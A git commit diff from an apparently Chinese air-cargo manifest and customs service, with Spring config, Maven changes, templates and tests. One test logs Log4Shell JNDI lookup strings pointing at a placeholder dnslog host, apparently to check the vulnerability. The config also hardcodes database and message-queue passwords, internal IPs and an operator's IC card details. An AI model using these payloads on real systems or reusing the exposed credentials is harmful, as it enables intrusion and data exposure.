作者 朱兆平

不知道改了点啥

Signed-off-by: mrz <17966059@qq.com>
... ... @@ -37,12 +37,12 @@ spring:
#eureka主机名,会在控制页面中显示
#DEV环境关闭注册。
features:
enabled: true
enabled: false
discovery:
enabled: true
enabled: false
service-registry:
auto-registration:
enabled: true
enabled: false
datasource:
type: com.alibaba.druid.pool.DruidDataSource
... ... @@ -171,13 +171,13 @@ mq:
needSend: true
queue:
#发送mq队列名称
send-to-mq: response.transarrive
send-to-mq: response
#读取mq队列名称
read-from-mq: send.transarrive
read-from-mq: send
exchange:
#TCS回执发送到此交换,交换再把回执消息同步到其他配置的回执订阅队列
#交换名称
name: cus.arrivetrans.send.broadcast
name: send.broadcast
#交换类型
type: fanout
#routing key名称,此处为空,所有绑定交换的队列都被广播
... ...
... ... @@ -19,7 +19,7 @@
<druid.version>1.2.8</druid.version>
<spring-cloud.version>Greenwich.BUILD-SNAPSHOT</spring-cloud.version>
<lombok_sersion>1.18.6</lombok_sersion>
<fastJson_version>1.2.75</fastJson_version>
<fastJson_version>1.2.83</fastJson_version>
<swagger2_version>2.9.2</swagger2_version>
<spring_tomcat_version>9.0.56</spring_tomcat_version>
<logback.verion>1.2.10</logback.verion>
... ... @@ -192,6 +192,12 @@
<artifactId>springfox-swagger-ui</artifactId>
<version>2.9.2</version>
</dependency>
<!-- easypoi -->
<dependency>
<groupId>cn.afterturn</groupId>
<artifactId>easypoi-spring-boot-starter</artifactId>
<version>4.4.0</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
... ...
package com.tianbo.analysis.dao;
import com.sun.javafx.tools.packager.MakeAllParams;
import com.tianbo.analysis.model.FFMInfo;
import com.tianbo.analysis.model.StatictisModel;
import org.apache.ibatis.annotations.Param;
import java.util.Date;
import java.util.List;
import java.util.Map;
public interface FFMInfoDao {
int deleteByPrimaryKey(String autoid);
... ...
package com.tianbo.analysis.model;
/**
* FWB和FHL模板类
* @author mrz
*/
public enum FWBANDFHLTemplate {
NODE_FWB_VER("FWB/${ver}\n"),
NODE_FHL_VER("FHL/${ver}\n"),
NODE_FWB_INFO("${fwb_num}${fwb_org}${fwb_des}/T${fwb_pcs}K${fwb_wt}MC${fwb_vol}\n"),
NODE_FWB_FLT("FLT/EY9736/27/EY0917/27\n"),
NODE_FWB_RTG("RTG/AUHEY/AMSEY\n"),
NODE_SHP_NAME("/${ship_name}"),
NODE_SHP_ADDR("/${ship_addr}"),
NODE_SHP_CITY("/${ship_city}"),
NODE_SHP_CONTRY("/${ship_cuntry}/${ship_youbian}/TE/${ship_tel}"),
NODE_CNE_NAME("/${cne_name}"),
NODE_CNE_ADDR("/${cne_addr}"),
NODE_CNE_CITY("/${cne_city}"),
NODE_CNE_CONTRY("/${cne_cuntry}/${cne_youbian}/TE/${cne_tel}"),
NODE_ACC("ACC/GEN/FREIGHT PREPAID"),
NODE_CVD("CVD/USD/PP/PP/NVD/NCV/XXX"),
NODE_RTD_BASE("RTD/1/P7/K218/CQ/W268/R38.7/T10371.6"),
NODE_RTD_NG("/NG/CONSOLIDATION"),
NODE_RTD_NS("/2/NS/60");
/**
* 模板内容
*/
private String template;
FWBANDFHLTemplate(String var1){
this.template =var1;
}
public String getTemplate() {
return template;
}
public void setTemplate(String template) {
this.template = template;
}
}
... ...
#上传文件的路径,要带斜杠
web:
upload-path: /Users/mrz/Pictures/
server:
port: 10001
servlet:
context-path: ${SERVER_CONTEXTPATH:}
spring:
profiles:
active: dev
mvc:
#静态资源,设置上传文件的访问,
static-path-pattern: /**
thymeleaf:
cache: false
encoding: UTF-8
mode: XML
suffix: .xml
prefix: classpath:/templates/
resources:
static-locations: classpath:/META-INF/resources/,classpath:/static,classpath:/resources/,file:${web.upload-path}
application:
name: wlpt-nmms-manage
jackson:
serialization:
FAIL_ON_EMPTY_BEANS: false
#springboot2.0之后会把Date类型字段自动给转成UTC字符串 如:1990-11-26T16:00:00.000+0000,如果想转成时间戳在application.properties配置文件增加以下配置
date-format: yyyy-MM-dd HH:mm:ss
#时区必须要设置
time-zone: GMT+8
#ALWAYS的意思是即时属性为null,仍然也会输出这个key
default-property-inclusion: always
cloud:
#eureka主机名,会在控制页面中显示
#DEV环境关闭注册。
features:
enabled: true
discovery:
enabled: true
service-registry:
auto-registration:
enabled: true
datasource:
type: com.alibaba.druid.pool.DruidDataSource
#oracle
driver-class-name: oracle.jdbc.OracleDriver
# url: jdbc:oracle:thin:@192.168.1.199:10069:CGODB
# username: CGONMS
# password: 1q2w3e4r
url: jdbc:oracle:thin:@192.168.1.253:1522:ORCLL
username: CGONMS
password: vmvnv1v2
#spring datasource mysql,注意编码配置,缺少数据库编码配置容易引起中文入库乱码
# url: jdbc:mysql://127.0.0.1:3307/statistics?useUnicode=true&characterEncoding=utf8
# username: root
# password:
# driver-class-name: com.mysql.jdbc.Driver
max-idle: 20
max-wait: 10000
min-idle: 5
initial-size: 5
#配置初始化大小/最小/最大
druid:
initial-size: 1
min-idle: 1
#最大并发连接数
max-active: 40
#获取连接等待超时时间
max-wait: 60000
#一个连接在池中最小生存的时间
min-evictable-idle-time-millis: 300000
#间隔多久进行一次检测,检测需要关闭的空闲连接
time-between-eviction-runs-millis: 60000
#mysql
# validation-query: SELECT 1 FROM DUAL
#oracle
validation-query: SELECT 'x' FROM DUAL
test-while-idle: true
test-on-borrow: false
test-on-return: false
default-auto-commit: true
eureka:
instance:
#eureka服务器页面中status的请求路径
status-page-url: http://${eureka.instance.hostname}:${server.port}/
prefer-ip-address: true
instance-id: ${spring.cloud.client.ip-address}:${server.port}
hostname: ${spring.cloud.client.ip-address}
client:
#eureka注册中心服务器地址
service-url:
# defaultZone: http://10.50.7.70:12345/eureka/
defaultZone: http://192.168.1.53:12345/eureka/
registry-fetch-interval-seconds: 30
lease-renewal-interval-in-seconds: 15
lease-expiration-duration-in-seconds: 45
mybatis:
mapper-locations: classpath:mapping/*.xml
type-aliases-package: com.tianbo.warehouse.model
pagehelper:
#auto-dialect: true
#auto-runtime-dialect: true
helper-dialect: oracle
reasonable: true
support-methods-arguments: true
params: count=countSql
#debug配置,debug或者为true的时候,logback才会记录和写入日志文件
trace: false
debug: true
logging:
file:
path: ./logs/
name: system.log
config: classpath:logback-dev.xml
#转移到logback配置文件中
#level:
#org.apache.tomcat: info
#com.tianbo.warehouse.dao: DEBUG
#org.springframework.security: trace
#日志配置,输出到文本,
#Java Web Token 时效时间,单位秒
jwt:
max-alive: 300
# 舱单生成配置
customs:
# 操作员IC卡姓名
inputOpName: 翟梦一
# 操作员IC卡号
inputOpId: 8930000085548
# 报关公司
applyName: 河南航空货运发展有限公司
# 报关公司海关十位编码
applyCode: 4101888126
# 报关公司组织机构代码
copCode: 70678920X
#生成报文文件夹路径,尾部要带斜杠/
xml-path: customTemplate/
# 海关通道数据传输人识别号
transport-number: 460470678920X
# 转关运抵相关配置
transarrive:
#生成报文文件夹路径,尾部要带斜杠/
xml-save: /data/Tsend/
# 客户端统一编号
# clientSeqno: "000000000000002050"
clientSeqno: "000000000000057246"
# clientSeqno: 460470678920X_DXPENT0000460002
# 邮箱客户端id
hostId: DXPENT0000460002
# 当前操作员ic卡证书号
certNo: DXPENT0000460002
mq:
dir:
# 从mq队列读取存储到本地的路径
saveXml-dir:
# 从本地路径读取报文路径 发送的MQ队列
sendXml-dir: /data/send
needSend: true
queue:
#发送mq队列名称
send-to-mq: response
#读取mq队列名称
read-from-mq: send
exchange:
#TCS回执发送到此交换,交换再把回执消息同步到其他配置的回执订阅队列
#交换名称
name: send.broadcast
#交换类型
type: fanout
#routing key名称,此处为空,所有绑定交换的队列都被广播
routing-key: transarrive
connection:
# ip: 218.28.199.134
# port: 8004
# vHost: NMMS
# username: tianbo
# password: vmvnv1v2VV
ip: 192.168.1.63
port: 5672
vHost: TRANSARRIVE
username: admin
password: admin
sso:
witheIP: 10.5.14.108,10.5.14.109,10.5.14.110
info:
version: 1.0
description: "新舱单辅助管理服务-统一认证、转运管理、提前运抵等"
<?xml version="1.0" encoding="UTF-8"?>
<!--参考文档链接:https://blog.csdn.net/qq_34912478/article/details/80877132-->
<!-- 日志级别从低到高分为TRACE < DEBUG < INFO < WARN < ERROR < FATAL,如果设置为WARN,则低于WARN的信息都不会输出 -->
<!-- scan:当此属性设置为true时,配置文件如果发生改变,将会被重新加载,默认值为true -->
<!-- scanPeriod:设置监测配置文件是否有修改的时间间隔,如果没有给出时间单位,默认单位是毫秒。当scan为true时,此属性生效。默认的时间间隔为1分钟。 -->
<!-- debug:当此属性设置为true时,将打印出logback内部日志信息,实时查看logback运行状态。默认值为false。 -->
<configuration scan="true" scanPeriod="10 seconds">
<!--<include resource="org/springframework/boot/logging/logback/base.xml" />-->
<contextName>logback</contextName>
<!-- name的值是变量的名称,value的值时变量定义的值。通过定义的值会被插入到logger上下文中。定义变量后,可以使“${}”来使用变量。 -->
<property name="log.path" value="./logs" />
<!-- 彩色日志 -->
<!-- 彩色日志依赖的渲染类 -->
<conversionRule conversionWord="clr" converterClass="org.springframework.boot.logging.logback.ColorConverter" />
<conversionRule conversionWord="wex" converterClass="org.springframework.boot.logging.logback.WhitespaceThrowableProxyConverter" />
<conversionRule conversionWord="wEx" converterClass="org.springframework.boot.logging.logback.ExtendedWhitespaceThrowableProxyConverter" />
<!-- 彩色日志格式 -->
<property name="CONSOLE_LOG_PATTERN" value="${CONSOLE_LOG_PATTERN:-%clr(%d{yyyy-MM-dd HH:mm:ss.SSS}){faint} %clr(${LOG_LEVEL_PATTERN:-%5p}) %clr(${PID:- }){magenta} %clr(---){faint} %clr([%15.15t]){faint} %clr(%-40.40logger{39}){cyan} %clr(:){faint} %m%n${LOG_EXCEPTION_CONVERSION_WORD:-%wEx}}"/>
<!--输出到控制台-->
<appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
<!--此日志appender是为开发使用,只配置最底级别,控制台输出的日志级别是大于或等于此级别的日志信息-->
<filter class="ch.qos.logback.classic.filter.ThresholdFilter">
<level>trace</level>
</filter>
<encoder>
<Pattern>${CONSOLE_LOG_PATTERN}</Pattern>
<!-- 设置字符集 -->
<charset>UTF-8</charset>
</encoder>
</appender>
<!--输出到文件-->
<!-- 时间滚动输出 level为 DEBUG 日志 -->
<appender name="DEBUG_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<!-- 正在记录的日志文件的路径及文件名 -->
<file>${log.path}/log_debug.log</file>
<!--日志文件输出格式-->
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
<charset>UTF-8</charset> <!-- 设置字符集 -->
</encoder>
<!-- 日志记录器的滚动策略,按日期,按大小记录 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 日志归档 -->
<fileNamePattern>${log.path}/debug/log-debug-%d{yyyy-MM-dd}.%i.log</fileNamePattern>
<timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
<maxFileSize>100MB</maxFileSize>
</timeBasedFileNamingAndTriggeringPolicy>
<!--日志文件保留天数-->
<maxHistory>15</maxHistory>
</rollingPolicy>
<!-- 此日志文件只记录debug级别的 -->
<filter class="ch.qos.logback.classic.filter.LevelFilter">
<level>debug</level>
<onMatch>ACCEPT</onMatch>
<onMismatch>DENY</onMismatch>
</filter>
</appender>
<!-- 时间滚动输出 level为 INFO 日志 -->
<appender name="INFO_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<!-- 正在记录的日志文件的路径及文件名 -->
<file>${log.path}/log_info.log</file>
<!--日志文件输出格式-->
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
<charset>UTF-8</charset>
</encoder>
<!-- 日志记录器的滚动策略,按日期,按大小记录 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<!-- 每天日志归档路径以及格式 -->
<fileNamePattern>${log.path}/info/log-info-%d{yyyy-MM-dd}.%i.log</fileNamePattern>
<timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
<maxFileSize>100MB</maxFileSize>
</timeBasedFileNamingAndTriggeringPolicy>
<!--日志文件保留天数-->
<maxHistory>15</maxHistory>
</rollingPolicy>
<!-- 此日志文件只记录info级别的 -->
<filter class="ch.qos.logback.classic.filter.LevelFilter">
<level>info</level>
<onMatch>ACCEPT</onMatch>
<onMismatch>DENY</onMismatch>
</filter>
</appender>
<!-- 时间滚动输出 level为 WARN 日志 -->
<appender name="WARN_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<!-- 正在记录的日志文件的路径及文件名 -->
<file>${log.path}/log_warn.log</file>
<!--日志文件输出格式-->
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
<charset>UTF-8</charset> <!-- 此处设置字符集 -->
</encoder>
<!-- 日志记录器的滚动策略,按日期,按大小记录 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<fileNamePattern>${log.path}/warn/log-warn-%d{yyyy-MM-dd}.%i.log</fileNamePattern>
<timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
<maxFileSize>100MB</maxFileSize>
</timeBasedFileNamingAndTriggeringPolicy>
<!--日志文件保留天数-->
<maxHistory>15</maxHistory>
</rollingPolicy>
<!-- 此日志文件只记录warn级别的 -->
<filter class="ch.qos.logback.classic.filter.LevelFilter">
<level>warn</level>
<onMatch>ACCEPT</onMatch>
<onMismatch>DENY</onMismatch>
</filter>
</appender>
<!-- 时间滚动输出 level为 ERROR 日志 -->
<appender name="ERROR_FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
<!-- 正在记录的日志文件的路径及文件名 -->
<file>${log.path}/log_error.log</file>
<!--日志文件输出格式-->
<encoder>
<pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern>
<charset>UTF-8</charset> <!-- 此处设置字符集 -->
</encoder>
<!-- 日志记录器的滚动策略,按日期,按大小记录 -->
<rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
<fileNamePattern>${log.path}/error/log-error-%d{yyyy-MM-dd}.%i.log</fileNamePattern>
<timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
<maxFileSize>100MB</maxFileSize>
</timeBasedFileNamingAndTriggeringPolicy>
<!--日志文件保留天数-->
<maxHistory>15</maxHistory>
</rollingPolicy>
<!-- 此日志文件只记录ERROR级别的 -->
<filter class="ch.qos.logback.classic.filter.LevelFilter">
<level>ERROR</level>
<onMatch>ACCEPT</onMatch>
<onMismatch>DENY</onMismatch>
</filter>
</appender>
<!--
<logger>用来设置某一个包或者具体的某一个类的日志打印级别、
以及指定<appender>。<logger>仅有一个name属性,
一个可选的level和一个可选的addtivity属性。
name:用来指定受此logger约束的某一个包或者具体的某一个类。
level:用来设置打印级别,大小写无关:TRACE, DEBUG, INFO, WARN, ERROR, ALL 和 OFF,
还有一个特俗值INHERITED或者同义词NULL,代表强制执行上级的级别。
如果未设置此属性,那么当前logger将会继承上级的级别。
addtivity:是否向上级logger传递打印信息。默认是true。
-->
<!--<logger name="org.springframework.web" level="info"/>-->
<!--<logger name="org.springframework.scheduling.annotation.ScheduledAnnotationBeanPostProcessor" level="INFO"/>-->
<!--
使用mybatis的时候,sql语句是debug下才会打印,而这里我们只配置了info,所以想要查看sql语句的话,有以下两种操作:
第一种把<root level="info">改成<root level="DEBUG">这样就会打印sql,不过这样日志那边会出现很多其他消息
第二种就是单独给dao下目录配置debug模式,代码如下,这样配置sql语句会打印,其他还是正常info级别:
-->
<!--
root节点是必选节点,用来指定最基础的日志输出级别,只有一个level属性
level:用来设置打印级别,大小写无关:TRACE, DEBUG, INFO, WARN, ERROR, ALL 和 OFF,
不能设置为INHERITED或者同义词NULL。默认是DEBUG
可以包含零个或多个元素,标识这个appender将会添加到这个logger。
-->
<!--开发环境:打印控制台-->
<springProfile name="dev">
<!-- <logger name="org.springframework.boot" level="info"/>-->
<!-- <logger name="org.apache.tomcat" level="info" />-->
<logger name="com.tianbo.analysis" level="DEBUG" />
<root level="INFO">
<appender-ref ref="CONSOLE" />
<appender-ref ref="DEBUG_FILE" />
<!--<appender-ref ref="INFO_FILE" />-->
<!--<appender-ref ref="WARN_FILE" />-->
<appender-ref ref="ERROR_FILE" />
</root>
</springProfile>
<!--生产环境:输出到文件-->
<springProfile name="pro">
<logger name="org.springframework.boot" level="info"/>
<logger name="com.tianbo.analysis.dao" level="DEBUG" />
<root level="INFO">
<appender-ref ref="CONSOLE" />
<appender-ref ref="DEBUG_FILE" />
<appender-ref ref="INFO_FILE" />
<appender-ref ref="ERROR_FILE" />
<appender-ref ref="WARN_FILE" />
</root>
</springProfile>
</configuration>
... ... @@ -5,7 +5,6 @@ import com.tianbo.analysis.exception.FFMResolveException;
import com.tianbo.analysis.model.FFMInfo;
import com.tianbo.analysis.model.ResultJson;
import com.tianbo.analysis.service.FFMResolve;
import com.tianbo.util.Date.DateUtil;
import lombok.extern.slf4j.Slf4j;
import org.junit.platform.commons.util.StringUtils;
import org.springframework.beans.factory.annotation.Autowired;
... ... @@ -28,49 +27,55 @@ public class FFMTest {
@Autowired
FFMResolve ffmResolve;
private String ffm = "ZCZC\n" +
"QD SELKTCR SELKTCR ICNKO5X \n" +
".CGOFD1E 101732\n" +
"FFM/5 \n" +
"5/5X173/10SEP/CGO/N328UP \n" +
"ICN/13SEP2249/13SEP0712 \n" +
"406-66666666CGOICN/T1K1MC0.01/CONSOLIDATED/EXP \n" +
"ULD/AAY569135X \n" +
"406-91567416CGOICN/T1K1MC0.01/CONSOLIDATED/EXP \n" +
"ULD/AAZ298885X \n" +
"406-77806864CGOONT/T34K286MC2.12/CONSOLIDATED \n" +
"406-77806890CGOONT/T1K1MC0.01/CONSOLIDATED \n" +
"406-77807472CGOONT/T11K125MC0.99/CONSOLIDATED \n" +
"406-81801020CGOONT/T45K17MC0.14/CONSOLIDATED \n" +
"406-81804962CGOONT/T1K11.8MC0.08/CONSOLIDATED \n" +
"406-87761446CGOONT/T2K73.5MC0.42/CONSOLIDATED \n" +
"406-87762021CGOONT/T1K11.3MC0.03/CONSOLIDATED \n" +
"406-87762824CGOONT/T1K9MC0.07/CONSOLIDATED \n" +
"406-92753124CGOONT/S10K145.7MC0.94T33/CONSOLIDATED \n" +
"406-92753275CGOONT/T1K1MC0.01/CONSOLIDATED \n" +
"ULD/AMJ522515X \n" +
"406-91567383CGOSDF/S180K2635.5MC2.31T309/CONSOLIDATED/EXP \n" +
"ULD/AMJ586525X \n" +
"406-77804355CGOSDF/T9K202MC0.86/CONSOLIDATED \n" +
"406-77806341CGOSDF/T2K25MC0.17/CONSOLIDATED \n" +
"406-77807100CGOSDF/T2K3MC0.01/CONSOLIDATED \n" +
"406-81376315CGOSDF/T12K176.5MC0.90/CONSOLIDATED \n" +
"406-81804951CGOSDF/T6K98.3MC0.45/CONSOLIDATED \n" +
"406-87762732CGOSDF/T1K2.5MC0.08/CONSOLIDATED \n" +
"PVG/12SEP0250 \n" +
"ULD/AMJ609925X \n" +
"406-77806842CGOSDF/T3K18MC0.03/CONSOLIDATED \n" +
"406-77806853CGOSDF/T6K17MC0.06/CONSOLIDATED \n" +
"406-77806960CGOSDF/T1K4MC0.02/CONSOLIDATED \n" +
"406-77807133CGOSDF/T3K45MC0.28/CONSOLIDATED \n" +
"406-77807273CGOSDF/T3K13MC0.18/CONSOLIDATED \n" +
"406-77807516CGOSDF/T8K13MC0.19/CONSOLIDATED \n" +
"406-91567383CGOSDF/S129K1568MC1.65T309/CONSOLIDATED/EXP \n" +
"406-92753161CGOSDF/T47K850MC4.51/CONSOLIDATED \n" +
"ULD/AMP652205X \n" +
"406-77806923CGOONT/T4K36MC0.12/CONSOLIDATED \n" +
"406-77806971CGOICN/T8K92MC1.16/CONSOLIDATED/ELI \n" +
"CONT \n" +
"\n" +
"QD CGOFD1E \n" +
".HDQFMQR 280617\n" +
"FFM/8 \n" +
"01/QR8044/28JUL/DOH/A7BFE \n" +
"ICN/NIL \n" +
"CGO \n" +
"ULD/PGA70458FF-M \n" +
"157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-01 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"ULD/PMC79136FF-L \n" +
"157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-01 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"ULD/PMC15213QR-M \n" +
"157-83672422LUXPVG/S1K3500.0MC18.0T8/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-02 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"ULD/PMC16667QR-M \n" +
"157-83672422LUXPVG/S1K3500.0MC18.0T8/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-02 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"ULD/PMC32693FF \n" +
"157-89737443FRAPVG/D1K4663.3MC14.17T7/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-01 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"ULD/PMC72373QR \n" +
"157-89737443FRAPVG/D1K2500.0MC14.17T7/CONSOLIDATION \n" +
"/EAP/HST/SPX/HEA/ALO/GCR/BUP \n" +
"OCI/DE//ED/0223 \n" +
"/DE/ISS/RA/00099-01 \n" +
"/CN/CNE/CT/008613681743759 \n" +
"/CN/CNE/T/USCI91310000717850897G \n" +
"CONT\n" +
"=\n" +
"NNNN";
... ...
import com.tianbo.analysis.NmmsAdminApplication;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.runner.RunWith;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
//@RunWith(SpringRunner.class)
@SpringBootTest(classes = NmmsAdminApplication.class)
public class Test {
private static Logger logger = LogManager.getLogger(Test.class);
@org.junit.jupiter.api.Test
public void send(){
String s = "/${java:os}";
logger.error("username: {}",s);
logger.error("/${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("${jndi:ldap://xxxxx.dnslog.cn/exp}");
logger.error("/${}","jndi:ldap://xxxxx.dnslog.cn/exp");
logger.error("${}","jndi:ldap://xxxxx.dnslog.cn/exp");
String keyword = "(/[TEFXL]{2}/.{1,25})+";
// 创建 Pattern 对象
Pattern r = Pattern.compile(keyword);
// 现在创建 matcher 对象
Matcher m = r.matcher("/CN//TE/02120527366/FX/FFFFXXX1123211/TL/112121DSADSADDDDDDD");
if (m.find()){
logger.info("找到适配f");
logger.info(m.group(1));
logger.info(m.group(2));
}
if (m.matches()){
logger.info("找到适配m");
logger.info(m.group(1));
logger.info(m.group(2));
}
// MSGS msgs = new MSGS();
// MSG msg = new MSG();
//
// HEADER header = new HEADER();
// header.setSNDR("TXD");
// header.setDDTM("20210429103322081");
// header.setSEQNO(2021042910);
// header.setTYPE("HYXX");
// header.setSTYPE("ISLI");
//
// msg.setHEADER(header);
// msg.setBODY("111test");
//
//
//
//
// msgs.setMSG(msg);
//
// ResultJson response = kafkaSendApi.send(msgs);
// log.info(response.toString());
}
}